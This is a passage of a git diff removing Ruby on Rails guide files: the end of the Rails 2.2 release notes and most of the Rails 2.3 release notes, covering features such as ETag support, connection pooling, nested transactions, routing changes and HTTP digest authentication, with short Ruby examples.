Applications](testing.html) -* [Securing Rails Applications](security.html) -* [Debugging Rails Applications](debugging_rails_applications.html) -* [The Basics of Creating Rails Plugins](plugins.html) - -All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. - -If you want to generate these guides locally, inside your application: - -``` -rake doc:guides -``` - -This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser. - -* Lead Contributors: [Rails Documentation Team](credits.html) -* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/). -* More information: - * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide) - * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch) - -Better integration with HTTP : Out of the box ETag support ----------------------------------------------------------- - -Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. - -```ruby -class ArticlesController < ApplicationController - def show_with_respond_to_block - @article = Article.find(params[:id]) - - # If the request sends headers that differs from the options provided to stale?, then - # the request is indeed stale and the respond_to block is triggered (and the options - # to the stale? call is set on the response). - # - # If the request headers match, then the request is fresh and the respond_to block is - # not triggered. Instead the default render will occur, which will check the last-modified - # and etag headers and conclude that it only needs to send a "304 Not Modified" instead - # of rendering the template. - if stale?(:last_modified => @article.published_at.utc, :etag => @article) - respond_to do |wants| - # normal response processing - end - end - end - - def show_with_implied_render - @article = Article.find(params[:id]) - - # Sets the response headers and checks them against the request, if the request is stale - # (i.e. no match of either etag or last-modified), then the default render of the template happens. - # If the request is fresh, then the default render will return a "304 Not Modified" - # instead of rendering the template. - fresh_when(:last_modified => @article.published_at.utc, :etag => @article) - end -end -``` - -Thread Safety -------------- - -The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. - -To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`: - -```ruby -config.threadsafe! -``` - -* More information : - * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails) - * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core) - * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html) - -Active Record -------------- - -There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. - -### Transactional Migrations - -Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. - -* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/) -* More information: - * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/) - * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/) - -### Connection Pooling - -Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it. - -```yaml -development: - adapter: mysql - username: root - database: sample_development - pool: 10 - wait_timeout: 10 -``` - -* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/) -* More information: - * [What's New in Edge Rails: Connection Pools](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools) - -### Hashes for Join Table Conditions - -You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. - -```ruby -class Photo < ActiveRecord::Base - belongs_to :product -end - -class Product < ActiveRecord::Base - has_many :photos -end - -# Get all products with copyright-free photos: -Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) -``` - -* More information: - * [What's New in Edge Rails: Easy Join Table Conditions](http://archives.ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions) - -### New Dynamic Finders - -Two new sets of methods have been added to Active Record's dynamic finders family. - -#### `find_last_by_attribute` - -The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})` - -```ruby -# Get the last user who signed up from London -User.find_last_by_city('London') -``` - -* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua) - -#### `find_by_attribute!` - -The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match. - -```ruby -# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! -User.find_by_name!('Moby') -``` - -* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com) - -### Associations Respect Private/Protected Scope - -Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally. - -* Lead Contributor: Adam Milligan -* More information: - * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/) - -### Other Active Record Changes - -* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo -* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp. -* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer. -* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names - -Action Controller ------------------ - -On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. - -### Shallow Route Nesting - -Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. - -```ruby -map.resources :publishers, :shallow => true do |publisher| - publisher.resources :magazines do |magazine| - magazine.resources :photos - end -end -``` - -This will enable recognition of (among others) these routes: - -``` -/publishers/1 ==> publisher_path(1) -/publishers/1/magazines ==> publisher_magazines_path(1) -/magazines/2 ==> magazine_path(2) -/magazines/2/photos ==> magazines_photos_path(2) -/photos/3 ==> photo_path(3) -``` - -* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/) -* More information: - * [Rails Routing from the Outside In](routing.html#nested-resources) - * [What's New in Edge Rails: Shallow Routes](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) - -### Method Arrays for Member or Collection Routes - -You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: - -```ruby -map.resources :photos, :collection => { :search => [:get, :post] } -``` - -* Lead Contributor: [Brennan Dunn](http://brennandunn.com/) - -### Resources With Specific Actions - -By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources. - -```ruby -map.resources :photos, :only => [:index, :show] -map.resources :products, :except => :destroy -``` - -* Lead Contributor: [Tom Stuart](http://experthuman.com/) - -### Other Action Controller Changes - -* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request. -* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`. -* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds -* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers. -* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI). -* `render` now supports a `:js` option to render plain vanilla JavaScript with the right mime type. -* Request forgery protection has been tightened up to apply to HTML-formatted content requests only. -* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`. - -Action View ------------ - -* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code. -* The included Prototype JavaScript library has been upgraded to version 1.6.0.3. -* `RJS#page.reload` to reload the browser's current location via JavaScript -* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions. - -Action Mailer -------------- - -Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`. - -* More information: - * [What's New in Edge Rails: Mailer Layouts](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts) - -Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed. - -Active Support --------------- - -Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods. - -### Memoization - -Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications: - -```ruby -def full_name - @full_name ||= "#{first_name} #{last_name}" -end -``` - -Memoization lets you handle this task in a declarative fashion: - -```ruby -extend ActiveSupport::Memoizable - -def full_name - "#{first_name} #{last_name}" -end -memoize :full_name -``` - -Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off. - -* Lead Contributor: [Josh Peek](http://joshpeek.com/) -* More information: - * [What's New in Edge Rails: Easy Memoization](http://archives.ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization) - * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization) - -### each_with_object - -The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. - -```ruby -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} -``` - -Lead Contributor: [Adam Keys](http://therealadam.com/) - -### Delegates With Prefixes - -If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example: - -```ruby -class Vendor < ActiveRecord::Base - has_one :account - delegate :email, :password, :to => :account, :prefix => true -end -``` - -This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix: - -```ruby -class Vendor < ActiveRecord::Base - has_one :account - delegate :email, :password, :to => :account, :prefix => :owner -end -``` - -This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`. - -Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck) - -### Other Active Support Changes - -* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes. -* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax. -* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons. -* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]` -* `Enumerable#many?` to encapsulate `collection.size > 1` -* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. -* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. -* The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` - -Railties --------- - -In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism. - -### config.gems - -To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands: - -* `config.gem _gem_name_` in your `config/environment.rb` file -* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen) -* `rake gems:install` to install missing gems to the computer -* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems` -* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems` -* `rake gems:build` to build any missing native extensions -* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them - -You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line. - -* Lead Contributor: [Matt Jones](https://github.com/al2o3cr) -* More information: - * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies) - * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/) - * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128) - -### Other Railties Changes - -* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly. -* `script/plugin install <plugin> -r <revision>` now works with git-based as well as svn-based plugins. -* `script/console` now supports a `--debugger` option -* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source -* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations. -* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?` -* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. - -Deprecated ----------- - -A few pieces of older code are deprecated in this release: - -* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom` -* `render_component` is deprecated. There's a [render_components plugin](https://github.com/rails/render_component/tree/master) available if you need this functionality. -* Implicit local assignments when rendering partials has been deprecated. - - ```ruby - def partial_with_implicit_local_assignment - @customer = Customer.new("Marcel") - render :partial => "customer" - end - ``` - - Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now. - -* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement. -* `ActiveRecord::Base.allow_concurrency` no longer has any effect. -* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')` -* The `%s` and `%d` interpolation syntax for internationalization is deprecated. -* `String#chars` has been deprecated in favor of `String#mb_chars`. -* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead. -* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead. - -Credits -------- - -Release notes compiled by [Mike Gunderloy](http://afreshcup.com) diff --git a/source/2_3_release_notes.md b/source/2_3_release_notes.md deleted file mode 100644 index 6976848..0000000 --- a/source/2_3_release_notes.md +++ /dev/null @@ -1,623 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 2.3 Release Notes -=============================== - -Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. - --------------------------------------------------------------------------------- - -Application Architecture ------------------------- - -There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines. - -### Rack Integration - -Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test: - -* Sessions -* Cookies -* File uploads -* JSON/XML APIs - -Here's a summary of the rack-related changes: - -* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch. -* The FCGI handler goes through Rack. -* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`. -* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack. -* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware. -* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form. -* `CgiRequest` and `CgiResponse` have been removed. -* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object). -* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected. -* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`. -* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`. -* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`. -* You can still change your session store with `ActionController::Base.session_store = :active_record_store`. -* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`. -* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`. -* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead. -* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache. -* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`. -* `ActionController::Request` inherits from `Rack::Request`. -* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. -* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it. - -### Renewed Support for Rails Engines - -After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins. - -Documentation -------------- - -The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book. - -* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects) - -Ruby 1.9.1 Support ------------------- - -Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. - -Active Record -------------- - -Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing. - -### Nested Attributes - -Active Record can now update the attributes on nested models directly, provided you tell it to do so: - -```ruby -class Book < ActiveRecord::Base - has_one :author - has_many :pages - - accepts_nested_attributes_for :author, :pages -end -``` - -Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later). - -You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option: - -```ruby -accepts_nested_attributes_for :author, - :reject_if => proc { |attributes| attributes['name'].blank? } -``` - -* Lead Contributor: [Eloy Duran](http://superalloy.nl/) -* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms) - -### Nested Transactions - -Active Record now supports nested transactions, a much-requested feature. Now you can write code like this: - -```ruby -User.transaction do - User.create(:username => 'Admin') - User.transaction(:requires_new => true) do - User.create(:username => 'Regular') - raise ActiveRecord::Rollback - end -end - -User.find(:all) # => Returns only Admin -``` - -Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing. - -* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/) - -### Dynamic Scopes - -You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example: - -```ruby -Order.scoped_by_customer_id(12) -Order.scoped_by_customer_id(12).find(:all, - :conditions => "status = 'open'") -Order.scoped_by_customer_id(12).scoped_by_status("open") -``` - -There's nothing to define to use dynamic scopes: they just work. - -* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/) -* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://archives.ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods) - -### Default Scopes - -Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). - -* Lead Contributor: Paweł Kondzior -* More Information: [What's New in Edge Rails: Default Scoping](http://archives.ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping) - -### Batch Processing - -You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`: - -```ruby -Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| - customer_group.each { |customer| customer.update_account_balance! } -end -``` - -You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch. - -The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default): - -```ruby -Customer.find_each do |customer| - customer.update_account_balance! -end -``` - -Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop. - -* More Information (at that point the convenience method was called just `each`): - * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/) - * [What's New in Edge Rails: Batched Find](http://archives.ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find) - -### Multiple Conditions for Callbacks - -When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array: - -```ruby -before_save :update_credit_rating, :if => :active, - :unless => [:admin, :cash_only] -``` -* Lead Contributor: L. Caviola - -### Find with having - -Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: - -```ruby -developers = Developer.find(:all, :group => "salary", - :having => "sum(salary) > 10000", :select => "salary") -``` - -* Lead Contributor: [Emilio Tagua](https://github.com/miloops) - -### Reconnecting MySQL Connections - -MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change. - -* Lead Contributor: [Dov Murik](http://twitter.com/dubek) -* More information: - * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html) - * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4) - -### Other Active Record Changes - -* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases. -* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record. -* A bug in quoting table names in some `has_many :through` associations was fixed. -* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)` -* Better error messages on failed `find_by_attribute!` calls. -* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option. -* A bug in canceling callbacks from `before_update` or `before_create` was fixed. -* Rake tasks for testing databases via JDBC have been added. -* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied). -* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`. -* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`. - -Action Controller ------------------ - -Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release. - -### Unified Rendering - -`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render: - -```ruby -render :file => '/tmp/random_file.erb' -render :template => 'other_controller/action' -render :action => 'show' -``` - -Now in Rails 2.3, you can just supply what you want to render: - -```ruby -render '/tmp/random_file.erb' -render 'other_controller/action' -render 'show' -render :show -``` -Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option. - -### Application Controller Renamed - -If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process. - -* More Information: - * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/) - * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more) - -### HTTP Digest Authentication Support - -Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials): - -```ruby -class PostsController < ApplicationController - Users = {"dhh" => "secret"} - before_filter :authenticate - - def secret - render :text => "Password Required!" - end - - private - def authenticate - realm = "Application" - authenticate_or_request_with_http_digest(realm) do |name| - Users[name] - end - end -end -``` - -* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/) -* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://archives.ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication) - -### More Efficient Routing - -There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches. - -* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/) - -### Rack-based Lazy-loaded Sessions - -A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load. - -### MIME Type Handling Changes - -There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms: - -```ruby -if content_type && Mime::JS =~ content_type - # do something cool -end - -Mime::JS =~ "text/javascript" => true -Mime::JS =~ "application/javascript" => true -``` - -The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly. - -* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons) - -### Optimization of `respond_to` - -In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup. - -### Improved Caching Performance - -Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods. - -* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/) - -### Localized Views - -Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project. - 